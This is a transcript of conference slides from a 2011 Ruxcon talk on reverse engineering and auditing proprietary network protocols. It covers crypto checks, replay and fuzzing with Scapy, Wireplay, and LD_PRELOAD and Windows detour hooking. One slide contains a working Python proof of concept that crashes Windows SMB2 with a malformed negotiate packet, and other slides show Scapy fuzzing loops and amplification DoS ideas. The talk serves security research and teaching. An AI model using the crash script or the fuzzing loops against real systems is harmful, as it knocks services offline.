SlideShare uma empresa Scribd logo
1 de 64
Baixar para ler offline
Proprietary Protocols RCE :
Research leads

                  Jonathan Brossard
               CEO – Toucan System



jonathan@
toucan-system.com
                     @endrazine
Who am I ?
             (a bit of self promotion ;)


- Security Research Engineer, CEO @ Toucan
   System (French Company).
- Known online as endrazine (irc, twitter...)
- Met most of you on irc (ptp/OTW...).
- Currently lives in Sydney (pentester for CBA).
- Speaker at Ruxcon (plus a few others :
   Defcon/HITB/Blackhat/HES...).
- Organiser of the Hackito Ergo Sum conference
   (Paris).
I don't reverse plain text...
Hardcore self promotion

If you like this talk...

- Come to my RCE talk at Blackhat US 2011
- Come to my training at HackInTheBox Kuala
   Lumpur 2011 (advanced linux exploitation)
- Submit to my conference HES2012 in Paris
   (April)
- Follow me on twitter @endrazine
- Contact my sales at daniel.coutinho@toucan-
   system.com
Agenda

   Introducing the problem...



       Effectively attacking UDP



        Effectively attacking TCP



       Unix clients instrumentation



   •Windows clients instrumentation
Introducing the problem



We're given a proprietary protocol to
 audit.
No source code, no specifications, no
 public implementation.
At best : a client and server.
At worst : a few pcap files (don't laugh,
 I had to do this for CBA...).
What we want to do...

- quick RCE : where are the usernames
  & passwords, checksums (?) ,
  challenge/response...
- finding use of weak cryptography
- replay attacks
- DoS
- timing attacks
- fuzzing (remote pwnage!)
Methodology
Methodology


Since we don't have a proper network stack...
  we'll do a static analysis (on pcaps) first.

Given a client and servers, you can have
  pcaps (duh!!)

 You probably found this later statement
 morronic... more on this later...
Methodology



1) Examine the packets for transport
 layer.

=> Easy, wireshark is your friend.
Transport Layer


                 3 possibilities :

- It's IP based : travels over the internet, vast
   majority of the cases (TCP/UDP).
- It's a LAN known protocol (doable in much the
   same way, less interresting...).
- It's an alien protocol, possibly not even known
   to wireshark (eg : SS7/SIGTRAN).
Methodology




2) Examine the application layer...
Application layer


- look for plain text
- check for usernames/passwords (capture with !
   = usernames/passwords + diffing if you have a
   working client)
- check for challenge/response (the only stuff
   that will change given the same inputs. That
   and salted passwords that is...)
- check for checksums (high entropy bytes given
   very similar input data)
Methodology



 3) Quick RCE...
Quick RCE...


IP protocol (UDP/TCP) + no challenge
         /response = problem

 (replay attacks, think pass the hash
        under netbios/Windows)

Very common in old (80's) proprietary
             protocols
Quick RCE...
Trivial crypto checks (you'd be suprised
         how much this works irl...)

          AAAA → deadbeef
         AAAAA → deadbeef66

=> byte per byte crypto.
=> At best : Vigenere with constant
 key.
=> Broken !
Quick RCE...
    Trivial crypto checks (reloaded)

What looks like a known hash algorithm
  has high chances to be... a known
             hash algorithm.

   Check for common ones on known
    passwords (SHA1, MD5, 3DES...)
Quick RCE
    Trivial crypto checks (3/4)

Same input password = same hash ?
      (=> salted/non salted?)

If you have a server and face a case
 of password encoding : may worth
stealing/instrumenting it's password
          decryption rootine
Quick RCE...
         Trivial crypto checks (4/4)

Non salted hash, public algorithm :
rainbow tables (for about any size, any charset).
#broken

Salted hash, public algo (MD5, sha256, 3DES): can
be bruteforced under 1 day with a 400$ GPU card
([a-zA-Z0-9}]@^`|[{#~], size <9). FPGA is even
faster. #broken

Proprietary hash : usually reversible #broken by
design.
Hardcore RCE


- Block Crypto + key reuse (without shift) +
  statistical analysis = plain key retreival (cf
  Eric Filliol at BHUS 2010).

- Uninitialised kernel memory leaks in
  network padding.

- Crypto is pretty much never checked
  properly (Debian SSL for the Win!!)
What we wanted to do...

- quick RCE : where are the usernames
  & passwords, checksums (?) ,
  challenge/response...
- finding use of weak cryptography
- replay attacks
- DoS
- timing attacks
- fuzzing (remote pwnage!)
Now what ?



Now we need an applicative stack...

and it would be even better if it was
           functionnal...
Two cases :


 1) We have a working client.
=> We have a working stack (we
           #win ;)

 2) We don't have a client, only
            pcaps...
In this later case...

TCP/UDP (or known LAN protocol) + no crypto + no
challenge/response : we'll have a partially working
stack =)

TCP/UDP/Known protocol + heavy checksuming
and/or challenge/response or crypto : we wont
without reversing those mechanisms. We can always
try some pre check fuzzing... :-/

Alien protocol or unknown crypto : We'll really need
to cheat (more on this later).
Ok, no more talking... time
       for hacking
Effectively attacking
UDP^H^H^Hanything
without transport layer
       sessions
      (Cheesy...)
Learning to Fuzz... a la
    Laurent Gaffie

 #!/usr/bin/python
 #When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
 #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
 from socket import socket
 from time import sleep


 host = "IP_ADDR", 445
 buff = (
 "x00x00x00x90" # Begin SMB header: Session message
 "xffx53x4dx42" # Server Component: SMB
 "x72x00x00x00" # Negociate Protocol
 "x00x18x53xc8" # Operation 0x18 & sub 0xc853
 "x00x26"# Process ID High: --> :) normal value should be "x00x00"
 "x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
 "x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
 "x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
 "x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
 "x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
 "x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
 "x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
 "x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
 "x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
 "x30x30x32x00"
 )


 s = socket()
 s.connect(host)
 s.send(buff)
 s.close()
Tools of the trade :


TCPREPLAY
Scapy (by Philippe Biondi).

- Written in python (easy).
- Knows most protocols you'll ever see.
- Slow as shit :((

 And that's about it...
Replaying packets with
           Scapy

a=rdpcap("./sample.pcap")
b=IP(src="10.69.69.69",dst="10.66.66.
  66")/UDP(dport=1234)/Raw(load=a[0]
  .load)
send(b,loop=1)
Fuzzing with Scapy


a=rdpcap("./sample.pcap")
b=IP(src="10.69.69.69",dst="10.66.66.
  66")/fuzz(UDP(dport=1234))/Raw(load
  =a[0].load)
send(b,loop=1)
DEMO
Muhahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
            ahahahaha
Notes


Worth trying fuzzing even if
challenge/responses or crypto is present : this is
verified at application level (unlike TCP ACK/SEQ
for instance).

TcpReplay is a piece of crap unless you're
working exclusively at Layer2 (hence attacking
the kernel. In particular, it can't replay valid TCP
sessions).
(D)DoS


Mind the amplification factors :

For each (soofed) packet sent, what is the size of
  the returned packet in case of response ? (cf :
  Open recursive DNS anonymous DdoS)

ICMP packets generated in return ?

Broadcast, multicast, ?
Effectively attacking TCP
 (here comes the meat)
The problem of TCP


Triple way handshake at kernel level.

If we don't do this correctly, our data
    won't even reach the application
          seating in userland.

 Complex protocol (fragmentation,
              QoS...)
The wrong way to do it


1) Use TcpReplay #crap

2) read the data from pcaps and copy
  paste it into a client (maaan ! How
  about fragmentation, lost
  packets/reemissions... ?)
Solution : Wireplay


          Alien++ tool.

        Designed by me.

Implemented in 3 days by mighty++
       Abhisek Datta (India).
Note on Abhisek



- Expert exploit writter.
- Taviso killed our Xmas kernel 0day :(
Implementation details


- libpcap
- libnids (from Nergal)
- replay inside a real TCP socket

=> No RAW Sockets, No QoS to deal
 with, no problems :)
Remember my earlier
   morronic statement ?


« Given a client and servers, you can have
             pcaps ». #Obvious

Now, given pcaps, you can have a working
       TCP client and server. #Yeah!
DEMO : replaying SSH
      packets
Manual testing/fuzzing

Cross layer verifications are common (eg : the
application layer contains information from the
transport layer).

Eg : SOAP messages containing IP addresse of
sender.

=> Room for problems ! The application may
assume the application layer is correct... What
happens if it changes (all the time ? After correct
authentication?)
Note on timing attacks


 About impossible to fix in C (and
        « at all » actually).

Adding a random delay (cf : ProFTPd
      doesn't fix the problem).

 Easy to perform now that we know
     how to replay packets =)
Muhahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
            ahahahaha
You may be laughing but...



An academic guy managed to retreive
   2048b RSA keys / SSH via timing
        attacks over a LAN.

                o0
What we wanted to do...

- quick RCE : where are the usernames
  & passwords, checksums (?) ,
  challenge/response...
- finding use of weak cryptography
- replay attacks
- DoS
- timing attacks
- fuzzing (remote pwnage!)
The fake problem of SSL


- Retreive the data assuming we know
  the RSA key is easy : ssldump.
- Adding an SSL layer when replaying is
  easy too (any SSL capable netcat-like
  will do).
Applicative DoS attacks


Connection timeouts (eg : Slowloris under HTTP).

  => Once you reached userland, the timeout is
         handled at application level.

  Sure, Apache/mod_qos and mod_security can
  handle it. How about non http trafic though ?
                Muhahahahah...
Muhahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
ahahahahahahahahahahahahahahahah
            ahahahaha
Unix clients
instrumentation
Methodology


There is basically one technique... LD_PRELOAD
- arbitrary network fuzzing (zuff).
- out of order packets (non RFC compliants).
- easy hooking of SSL function, entropy sources
   (getpid(), open('/dev/urandom'...)...
    => easy control over complex things !
   (complexity attacks on hashtable algos ? Cf
   Squid advisory).
- USE OF PROPRIERARY PROTOCOL STACKS.
Exemple : hooking send()


 #include <sys/types.h>
 #include <sys/socket.h>

 ssize_t send(int sockfd, const void
   *buf, size_t len, int flags);
Hooking send()

 #include <sys/types.h>
 #include <sys/socket.h>
// declare a function ptr to the original function
 static ssize_t (*fn_send)(int sockfd, const void *buf, size_t len, int
    flags) = NULL;
// hooked function
ssize_t send(int sockfd, const void *buf, size_t len, int flags){
…
    return fn_send(sockfd,buf,len,flags);
}
// declare constructor to initialise the hooked f ptr:
static void __attribute__((constructor)) init(void){
    fn_send = dlsym(RTLD_NEXT,”send”);
}
Hooking send()


jonathan@blackbox-pentest:~$ gcc hooking.c -o
   hooking.so -shared -ldl
jonathan@blackbox-pentest:~$LD_PRELOAD=./hooking.so
   /usr/bin/sshd 192.168.1.2 -l guest
Windows clients
instrumentation
    (Dessert)
Methodology


- We'd like to do the very same thing...

- So let's just do the exact same thing ;)
How does it work ?


- dll injection on the remote process
- hooking of Windows functions
  (« detouring »)
- Fuzzing/instrumentation/logging...
Detouring under Windows
Normal Windows function prologue:

0xCC       ;
0xCC       ; Padding: either 0x90 or 0xCC
0xCC       ;
0xCC       ;
0xCC       ;
MOV EDI, EDI ; is actually executed
PUSH EBP
MOV EBP, ESP
Detouring under Windows


Detoured Windows function prologue:

JMP FAR 0xdeadbeef ; branch anywhere
JMP SHORT -5 ; is actually executed
PUSH EBP
MOV EBP, ESP
What detours.dll does:


- Freeze all threads (avoid races).
- Patch all your hooked functions like
  shown before.
- Restart all threads.
DEMO
Thank you for coming
    Questions ?

Mais conteúdo relacionado

Mais procurados

Make container without_docker_7
Make container without_docker_7Make container without_docker_7
Make container without_docker_7Sam Kim
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Positive Hack Days
 
Writing and using php streams and sockets
Writing and using php streams and socketsWriting and using php streams and sockets
Writing and using php streams and socketsElizabeth Smith
 
Kernel Recipes 2019 - Formal modeling made easy
Kernel Recipes 2019 - Formal modeling made easyKernel Recipes 2019 - Formal modeling made easy
Kernel Recipes 2019 - Formal modeling made easyAnne Nicolas
 
Applied cryptanalysis - everything else
Applied cryptanalysis - everything elseApplied cryptanalysis - everything else
Applied cryptanalysis - everything elseVlad Garbuz
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itAbusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itBenjamin Delpy
 
Defcon 22-paul-mcmillan-attacking-the-iot-using-timing-attac
Defcon 22-paul-mcmillan-attacking-the-iot-using-timing-attacDefcon 22-paul-mcmillan-attacking-the-iot-using-timing-attac
Defcon 22-paul-mcmillan-attacking-the-iot-using-timing-attacPriyanka Aash
 
Overview of ZeroMQ
Overview of ZeroMQOverview of ZeroMQ
Overview of ZeroMQpieterh
 
Essentials of Multithreaded System Programming in C++
Essentials of Multithreaded System Programming in C++Essentials of Multithreaded System Programming in C++
Essentials of Multithreaded System Programming in C++Shuo Chen
 
SnortUsersWebcast-Rules_pt2
SnortUsersWebcast-Rules_pt2SnortUsersWebcast-Rules_pt2
SnortUsersWebcast-Rules_pt2Liễu Hồng
 
Stackless Python In Eve
Stackless Python In EveStackless Python In Eve
Stackless Python In Evel xf
 
Rust Intro @ Roma Rust meetup
Rust Intro @ Roma Rust meetup Rust Intro @ Roma Rust meetup
Rust Intro @ Roma Rust meetup Claudio Capobianco
 
How Many Slaves (Ukoug)
How Many Slaves (Ukoug)How Many Slaves (Ukoug)
How Many Slaves (Ukoug)Doug Burns
 
Make container without_docker_6-overlay-network_1
Make container without_docker_6-overlay-network_1 Make container without_docker_6-overlay-network_1
Make container without_docker_6-overlay-network_1 Sam Kim
 
Applied cryptanalysis - stream ciphers
Applied cryptanalysis - stream ciphersApplied cryptanalysis - stream ciphers
Applied cryptanalysis - stream ciphersVlad Garbuz
 
Introduction to Debuggers
Introduction to DebuggersIntroduction to Debuggers
Introduction to DebuggersSaumil Shah
 
Jvm profiling under the hood
Jvm profiling under the hoodJvm profiling under the hood
Jvm profiling under the hoodRichardWarburton
 

Mais procurados (20)

Make container without_docker_7
Make container without_docker_7Make container without_docker_7
Make container without_docker_7
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
 
Writing and using php streams and sockets
Writing and using php streams and socketsWriting and using php streams and sockets
Writing and using php streams and sockets
 
Kernel Recipes 2019 - Formal modeling made easy
Kernel Recipes 2019 - Formal modeling made easyKernel Recipes 2019 - Formal modeling made easy
Kernel Recipes 2019 - Formal modeling made easy
 
Python for Penetration testers
Python for Penetration testersPython for Penetration testers
Python for Penetration testers
 
Applied cryptanalysis - everything else
Applied cryptanalysis - everything elseApplied cryptanalysis - everything else
Applied cryptanalysis - everything else
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itAbusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get it
 
Defcon 22-paul-mcmillan-attacking-the-iot-using-timing-attac
Defcon 22-paul-mcmillan-attacking-the-iot-using-timing-attacDefcon 22-paul-mcmillan-attacking-the-iot-using-timing-attac
Defcon 22-paul-mcmillan-attacking-the-iot-using-timing-attac
 
Python build your security tools.pdf
Python build your security tools.pdfPython build your security tools.pdf
Python build your security tools.pdf
 
Overview of ZeroMQ
Overview of ZeroMQOverview of ZeroMQ
Overview of ZeroMQ
 
Essentials of Multithreaded System Programming in C++
Essentials of Multithreaded System Programming in C++Essentials of Multithreaded System Programming in C++
Essentials of Multithreaded System Programming in C++
 
SnortUsersWebcast-Rules_pt2
SnortUsersWebcast-Rules_pt2SnortUsersWebcast-Rules_pt2
SnortUsersWebcast-Rules_pt2
 
Stackless Python In Eve
Stackless Python In EveStackless Python In Eve
Stackless Python In Eve
 
Hacking with hhvm
Hacking with hhvmHacking with hhvm
Hacking with hhvm
 
Rust Intro @ Roma Rust meetup
Rust Intro @ Roma Rust meetup Rust Intro @ Roma Rust meetup
Rust Intro @ Roma Rust meetup
 
How Many Slaves (Ukoug)
How Many Slaves (Ukoug)How Many Slaves (Ukoug)
How Many Slaves (Ukoug)
 
Make container without_docker_6-overlay-network_1
Make container without_docker_6-overlay-network_1 Make container without_docker_6-overlay-network_1
Make container without_docker_6-overlay-network_1
 
Applied cryptanalysis - stream ciphers
Applied cryptanalysis - stream ciphersApplied cryptanalysis - stream ciphers
Applied cryptanalysis - stream ciphers
 
Introduction to Debuggers
Introduction to DebuggersIntroduction to Debuggers
Introduction to Debuggers
 
Jvm profiling under the hood
Jvm profiling under the hoodJvm profiling under the hood
Jvm profiling under the hood
 

Semelhante a [Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Research leads

[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory AnalysisMoabi.com
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - RoutersLogicaltrust pl
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersYury Chemerkin
 
Kickin' Ass with Cache-Fu (with notes)
Kickin' Ass with Cache-Fu (with notes)Kickin' Ass with Cache-Fu (with notes)
Kickin' Ass with Cache-Fu (with notes)err
 
sshuttle VPN (2011-04)
sshuttle VPN (2011-04)sshuttle VPN (2011-04)
sshuttle VPN (2011-04)apenwarr
 
import rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Pythonimport rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Pythongroveronline
 
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이GangSeok Lee
 
Build reliable, traceable, distributed systems with ZeroMQ
Build reliable, traceable, distributed systems with ZeroMQBuild reliable, traceable, distributed systems with ZeroMQ
Build reliable, traceable, distributed systems with ZeroMQRobin Xiao
 
SD, a P2P bug tracking system
SD, a P2P bug tracking systemSD, a P2P bug tracking system
SD, a P2P bug tracking systemJesse Vincent
 
Servers and Processes: Behavior and Analysis
Servers and Processes: Behavior and AnalysisServers and Processes: Behavior and Analysis
Servers and Processes: Behavior and Analysisdreamwidth
 
[Ruxcon 2011] Post Memory Corruption Memory Analysis
[Ruxcon 2011] Post Memory Corruption Memory Analysis[Ruxcon 2011] Post Memory Corruption Memory Analysis
[Ruxcon 2011] Post Memory Corruption Memory AnalysisMoabi.com
 
Golang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war storyGolang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war storyAerospike
 
[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit AutomationMoabi.com
 
[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory AnalysisMoabi.com
 
Network Programming: Data Plane Development Kit (DPDK)
Network Programming: Data Plane Development Kit (DPDK)Network Programming: Data Plane Development Kit (DPDK)
Network Programming: Data Plane Development Kit (DPDK)Andriy Berestovskyy
 
Code Red Security
Code Red SecurityCode Red Security
Code Red SecurityAmr Ali
 
Computer network (4)
Computer network (4)Computer network (4)
Computer network (4)NYversity
 
Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?Nelson Brito
 

Semelhante a [Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Research leads (20)

[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
 
Linux Network Stack
Linux Network StackLinux Network Stack
Linux Network Stack
 
Kickin' Ass with Cache-Fu (with notes)
Kickin' Ass with Cache-Fu (with notes)Kickin' Ass with Cache-Fu (with notes)
Kickin' Ass with Cache-Fu (with notes)
 
sshuttle VPN (2011-04)
sshuttle VPN (2011-04)sshuttle VPN (2011-04)
sshuttle VPN (2011-04)
 
import rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Pythonimport rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Python
 
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
[2012 CodeEngn Conference 06] pwn3r - Secuinside 2012 CTF 예선 문제풀이
 
Build reliable, traceable, distributed systems with ZeroMQ
Build reliable, traceable, distributed systems with ZeroMQBuild reliable, traceable, distributed systems with ZeroMQ
Build reliable, traceable, distributed systems with ZeroMQ
 
Advances in Open Source Password Cracking
Advances in Open Source Password CrackingAdvances in Open Source Password Cracking
Advances in Open Source Password Cracking
 
SD, a P2P bug tracking system
SD, a P2P bug tracking systemSD, a P2P bug tracking system
SD, a P2P bug tracking system
 
Servers and Processes: Behavior and Analysis
Servers and Processes: Behavior and AnalysisServers and Processes: Behavior and Analysis
Servers and Processes: Behavior and Analysis
 
[Ruxcon 2011] Post Memory Corruption Memory Analysis
[Ruxcon 2011] Post Memory Corruption Memory Analysis[Ruxcon 2011] Post Memory Corruption Memory Analysis
[Ruxcon 2011] Post Memory Corruption Memory Analysis
 
Golang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war storyGolang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war story
 
[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation
 
[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis
 
Network Programming: Data Plane Development Kit (DPDK)
Network Programming: Data Plane Development Kit (DPDK)Network Programming: Data Plane Development Kit (DPDK)
Network Programming: Data Plane Development Kit (DPDK)
 
Code Red Security
Code Red SecurityCode Red Security
Code Red Security
 
Computer network (4)
Computer network (4)Computer network (4)
Computer network (4)
 
Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?Protocol T50: Five months later... So what?
Protocol T50: Five months later... So what?
 

Mais de Moabi.com

[Defcon24] Introduction to the Witchcraft Compiler Collection
[Defcon24] Introduction to the Witchcraft Compiler Collection[Defcon24] Introduction to the Witchcraft Compiler Collection
[Defcon24] Introduction to the Witchcraft Compiler CollectionMoabi.com
 
[Blackhat2015] FileCry attack against Internet Explorer
[Blackhat2015] FileCry attack against Internet Explorer[Blackhat2015] FileCry attack against Internet Explorer
[Blackhat2015] FileCry attack against Internet ExplorerMoabi.com
 
[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against Java[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against JavaMoabi.com
 
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #WhitepaperMoabi.com
 
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...Moabi.com
 
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用Moabi.com
 
[Defcon] Hardware backdooring is practical
[Defcon] Hardware backdooring is practical[Defcon] Hardware backdooring is practical
[Defcon] Hardware backdooring is practicalMoabi.com
 
Hardware backdooring is practical : slides
Hardware backdooring is practical : slidesHardware backdooring is practical : slides
Hardware backdooring is practical : slidesMoabi.com
 
Hardware backdooring is practical
Hardware backdooring is practicalHardware backdooring is practical
Hardware backdooring is practicalMoabi.com
 
[Hackito2012] Hardware backdooring is practical
[Hackito2012] Hardware backdooring is practical[Hackito2012] Hardware backdooring is practical
[Hackito2012] Hardware backdooring is practicalMoabi.com
 
[h2hc] Generic exploitation of invalid memory writes
[h2hc] Generic exploitation of invalid memory writes[h2hc] Generic exploitation of invalid memory writes
[h2hc] Generic exploitation of invalid memory writesMoabi.com
 
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 modeMoabi.com
 
[HackInTheBox] Breaking virtualization by any means
[HackInTheBox] Breaking virtualization by any means[HackInTheBox] Breaking virtualization by any means
[HackInTheBox] Breaking virtualization by any meansMoabi.com
 
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...
[DEFCON] Bypassing preboot authentication passwords by instrumenting the BIOS...Moabi.com
 
[DEFCON 16] Bypassing pre-boot authentication passwords by instrumenting the...
[DEFCON 16] Bypassing pre-boot authentication passwords  by instrumenting the...[DEFCON 16] Bypassing pre-boot authentication passwords  by instrumenting the...
[DEFCON 16] Bypassing pre-boot authentication passwords by instrumenting the...Moabi.com
 

Mais de Moabi.com (15)

[Defcon24] Introduction to the Witchcraft Compiler Collection
[Defcon24] Introduction to the Witchcraft Compiler Collection[Defcon24] Introduction to the Witchcraft Compiler Collection
[Defcon24] Introduction to the Witchcraft Compiler Collection
 
[Blackhat2015] FileCry attack against Internet Explorer
[Blackhat2015] FileCry attack against Internet Explorer[Blackhat2015] FileCry attack against Internet Explorer
[Blackhat2015] FileCry attack against Internet Explorer
 
[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against Java[Blackhat2015] FileCry attack against Java
[Blackhat2015] FileCry attack against Java
 
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES... #Whitepaper
 
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
[Blackhat2015] SMB : SHARING MORE THAN JUST YOUR FILES...
 
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
[2013 syscan360] Jonathan Brossard_katsuni理论介绍以及在沙盒和软件仿真方面的应用
 
[Defcon] Hardware backdooring is practical
[Defcon] Hardware backdooring is practical[Defcon] Hardware backdooring is practical
[Defcon] Hardware backdooring is practical
 
Hardware backdooring is practical : slides
Hardware backdooring is practical : slidesHardware backdooring is practical : slides
Hardware backdooring is practical : slides
 
Hardware backdooring is practical
Hardware backdooring is practicalHardware backdooring is practical
Hardware backdooring is practical
 
[Hackito2012] Hardware backdooring is practical
[Hackito2012] Hardware backdooring is practical[Hackito2012] Hardware backdooring is practical
[Hackito2012] Hardware backdooring is practical
 
[h2hc] Generic exploitation of invalid memory writes
[h2hc] Generic exploitation of invalid memory writes[h2hc] Generic exploitation of invalid memory writes
[h2hc] Generic exploitation of invalid memory writes
 
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode[Ruxcon] Breaking virtualization by switching the cpu to virtual 8086 mode
